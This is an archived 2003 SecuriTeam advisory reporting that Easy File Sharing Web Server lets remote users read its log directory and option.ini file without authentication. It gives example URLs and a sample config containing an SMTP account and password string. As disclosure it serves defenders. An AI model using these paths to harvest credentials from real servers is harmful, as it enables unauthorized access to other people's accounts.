

# [NT] Easy File Sharing Web Server Log File and Option File Exposure

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0036.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 10/09/03

To: list@securiteam.com

Date: 9 Oct 2003 12:24:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Easy File Sharing Web Server Log File and Option File Exposure

---

## SUMMARY

<<http://www.sharing-file.com>> Easy File Sharing Web Server "contains several built-in systems including HTTP Web Server, multi-threads database system, Bulletin Board System, Server Script system, Password protection system. Users just need to install Easy File Sharing Web Server and no other software. All without additional configuration.

You may create a virtual folder from your hard disk; visitors may upload/download files to/from it. Easy File Sharing Web Server is much easier to use than a typical FTP server".

A vulnerability in the product allows remote attacker to view the product's log file and option file (and gain from it sensitive information such as usernames and passwords).

## DETAILS

View /log:

A vulnerability in the product allows remote user to look into the contents of the log files.

## Securiteam: [NT] Easy File Sharing Web Server Log File and Option File Exposure

Example:

By accessing the following URL: <http://192.168.2.227/log/>

Name	Size	Date	Description	Author
20030728.txt	9KB	2003-07-28 15:56:34	none	none
20030730.txt	18KB	2003-07-30 16:58:58	none	none
20030807.txt	12KB	2003-08-07 13:56:18	none	none
20030811.txt	18KB	2003-08-11 13:34:15	none	none
20030812.txt	10KB	2003-08-12 17:03:20	none	none
20030815.txt	10KB	2003-08-15 16:59:58	none	none
20030818.txt	31KB	2003-08-18 14:14:30	none	none
20030902.txt	9KB	2003-09-02 14:41:57	none	none
20030904.txt	8KB	2003-09-04 14:18:59	none	none
20030905.txt	1KB	2003-09-05 09:13:28	none	none
20030908.txt	4KB	2003-09-08 12:32:22	none	none

View options.ini:

A vulnerability in the product allows remote user to look into the contents of the option.ini file.

Example:

By accessing the following URL: <http://192.168.2.227/option.ini>

```
=====[example option.ini]=====  
[Server] WebPages= DefaultPage=login.htm startup=1 AutoActive=1  
Minimize=0 Savelog=1 Port=80  
Template=default showsys=0 showhide=0 expire=600 resume=1 smallpic=0  
picsize=0 fileprotect=1  
[Email] SmtplibServer=smtplib.citiz.net SmtplibPort=25 Account=wordsend  
Password=,207,194,202,217,216,214 NeedAuth=1 Subject=User Registration  
Information  
username=file-sharing web server From=wordsend@citiz.net [IP] Mode=0
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:nimber.plux.ru>> nimber.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.